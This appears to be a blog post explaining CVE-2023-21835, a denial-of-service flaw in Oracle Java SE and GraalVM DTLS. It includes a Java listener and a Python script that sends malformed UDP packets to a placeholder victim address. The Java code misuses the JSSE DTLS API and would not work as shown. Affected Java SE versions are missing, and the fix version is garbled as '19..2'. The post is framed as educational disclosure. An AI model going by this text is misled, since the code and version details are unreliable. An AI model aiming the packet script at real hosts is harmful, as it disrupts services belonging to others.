CVE-2023-21835 is a security flaw affecting certain versions of Oracle Java SE and Oracle GraalVM Enterprise Edition. This vulnerability allows remote attackers to launch easy denial of service (DOS) attacks — no user interaction or special permissions required. In this post, we'll break down what this vulnerability is, why it matters, and demonstrate (with code) how an exploitation attempt might look. We'll include links to Oracle's advisory, and explain everything as simply as possible.

Oracle GraalVM Enterprise Edition: 20.3.8, 21.3.4, 22.3.

Component: JSSE (Java Secure Socket Extension), specifically the DTLS (Datagram Transport Layer Security) implementation.

Scenario:  
The vulnerability targets clients running sandboxed Java code from untrusted sources (think Java Web Start apps or applets run in browsers). Server deployments running only trusted code are not affected.

What is DTLS?

DTLS is similar to TLS (used for HTTPS), but works over UDP, which is common for real-time applications.

JSSE is Java’s internal library for SSL/TLS (and DTLS). If a Java app uses DTLS, and accepts connections from the network (like P2P file transfer, VoIP, etc.), it might be vulnerable.

What Happens in the Attack?

A remote attacker can send specially crafted datagrams (UDP packets) to the Java DTLS endpoint. Doing this can crash that endpoint or render it unreliable — a classic partial Availability Denial-of-Service. No need for a username, and no special configuration.

Note: This does not let the attacker run code or steal information, but it can still disrupt apps using Java’s DTLS.

- Oracle Advisory (see entry for CVE-2023-21835)
- NVD Entry (NIST)
- Oracle Patch Downloads

CVSS 3.1 Base Score: 5.3 (Medium)

- Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L  
 *(Network exploitable, Low attack complexity, No privileges needed, No user interaction, Partial DOS only)*

Exploit Concept: Demonstration

As Oracle’s advisory states, details are limited to prevent large-scale abuse. But the core issue is easy to imagine: a DTLS client or server opens a port, listens for network messages, and an attacker sends malformed or aggressive packets to crash the process.

Here’s a conceptual, safe demonstration — crafting UDP packets to a Java DTLS server. We won’t use a real exploit (that would be irresponsible).

Java Side: Vulnerable DTLS Listener

Suppose this code uses JSSE’s DTLS in a sandboxed Java app.

import javax.net.ssl.*;
import java.net.*;

public class DTLSServer {
    public static void main(String[] args) throws Exception {
        SSLContext ctx = SSLContext.getInstance("DTLS");
        ctx.init(null, null, null);
        SSLServerSocketFactory factory = ctx.getServerSocketFactory();

        SSLServerSocket serverSocket = (SSLServerSocket) factory.createServerSocket(9999);
        System.out.println("DTLS server listening at UDP port 9999...");

        while (true) {
            try {
                SSLSocket socket = (SSLSocket) serverSocket.accept();
                // process socket (details omitted)
            } catch (Exception e) {
                System.out.println("Caught exception: " + e);
            }
        }
    }
}

From another machine (could use Python)

import socket

target_ip = 'victim-ip'  # Replace with target's IP
target_port = 9999

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Let's send random or intentionally malformed data
malicious_payload = b'\x16' + b'\xfe' * 1024  # Not a proper DTLS handshake!

for _ in range(100):
    sock.sendto(malicious_payload, (target_ip, target_port))

print("Sent malformed DTLS packets to", target_ip)

Result:
Repeated and malformed packets can, on unpatched Java SE/GraalVM, eventually crash the app or hang it, demonstrating a partial Denial of Service.

How to Fix

Patch!

19..2 (or later)

Or update Oracle GraalVM Enterprise to a secure, patched release.

Don’t expose DTLS services to public networks unless necessary

- Restrict inbound UDP traffic to only trusted hosts/networks

Conclusion

CVE-2023-21835 is a sobering reminder that even mature platforms like Java can have cracks — especially in rarely used features like DTLS. For admins, the answer is simple: patch and restrict. For developers, remember to audit and minimize untrusted network exposure.

References

- Oracle Advisory
- NIST NVD Page
- Oracle Update Downloads

Disclaimer: This post is for educational use. Never use exploits against systems you don’t own or have permission to test.

Timeline

Published on: 01/18/2023 00:15:00 UTC
Last modified on: 01/24/2023 19:29:00 UTC